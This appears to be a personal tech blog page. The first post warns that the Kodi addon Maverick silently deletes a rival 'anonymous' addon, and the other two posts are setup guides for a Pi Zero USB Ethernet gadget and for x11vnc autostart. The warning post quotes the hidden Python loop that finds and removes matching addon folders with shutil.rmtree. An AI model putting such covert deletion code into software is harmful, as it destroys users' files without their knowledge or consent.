Kodi Wars Maverick Addon

So there has been some kodi wars with the developers of certain add-ons. One being with Anonymous,Maverick, Silent hunter and Beau builds. The issue I have with some kodi developers. They like you when you follow them and hate you when you decide to create your own repo or addon. The Anonymous team encourages you to clone their addon and make it your own. I also find it funny that most addon owners dont even know Python :/

Please be careful as to which kodi addons you install on your system. Recently Maverick added some code to remove the anonymous addon. This is very unacceptable within the kodi community and he is doing so without the users knowledge. This is on the same lines as creating some type of malware. The code he use is some standard Python code. Nothing major, but the point is he is removing something from a user device without their knowledge.

for root, dirs, file in os.walk(addons):
for dir in dirs:
if 'anonymous' in dir.lower():
path = addons + dir
shutil.rmtree(path)

Be careful out there in the world of Kodi .

Pi Zero : USB Ethernet RNDIS/Ethernet Gadget

Test Lab:

Connect a PI Zero to a Fedora Linux System via USB. We were looking to use the PI Zero as a USB Ethernet device. This will allow us to connect to the PI Via ssh.

PI Initial setup:
Check PI Zero

Fedora Setup:
We needed to install avahi-daemon.service (avahi-compat-libdns_sd Libraries for Apple Bonjour mDNSResponder compatibility)
a. dnf install avahi-compat-libdns_sd
b. Connect the PI and check for the Ethernet device name of the pi .
nmcli
enp0s16u2: connected to Wired connection 2
“Linux 4.4.38+ with 20980000.usb RNDIS/Ethernet Gadget
ethernet (cdc_ether), FA:5A:37:2D:E1:32, hw, mtu 1500

My device name is enp0s16u2 and connection name is Wired connection 2
c. Next we will need to make sure the connection is set to link-local .
nmcli connection show Wired\ connection\ 2

ipv4.method: link-local

nmcli connection modify Wired\ connection\ 2 ipv4.methodv link-local
(value options [auto, link-local, manual, shared, disabled] )

d. You should be able to ping raspberrypi.local and get a response. Now you can connect to the PI via ssh.

e. You can validate the ip via arp -a or nmap -sP 169.254.0.0/16 (nmap will take about 10-15 min to run). You should receive a 169.254.x.x ip.

Raspberry Pi : setup VNC on the default display

I needed a way to connect the PI to the TV and VNC to that display from  any device . Below are the steps I took to accomplish my goal.

 

cd ~/
– sudo apt-get install x11vnc

mkdir -p .config/autostart
mkdir -p .vnc
if you wish to use a password
x11vnc -storepasswd .vnc/passwd

cd .config/autostart
echo “[Desktop Entry]” > x11vnc.desktop
echo “Encoding=UTF-8” >> x11vnc.desktop
echo “Type=Application” >> x11vnc.desktop
echo “Name=X11VNC” >> x11vnc.desktop
echo “Comment=” >> x11vnc.desktop
echo “Exec=x11vnc -forever -usepw -display :0 -ultrafilexfer” >> x11vnc.desktop
echo “StartupNotify=false” >> x11vnc.desktop
echo “Terminal=false” >> x11vnc.desktop
echo “Hidden=false” >> x11vnc.desktop

This start x11vnc when lxde starts. reboot the system
You can manually run the app ” x11vnc -forever & “

Computer , server issues and solutions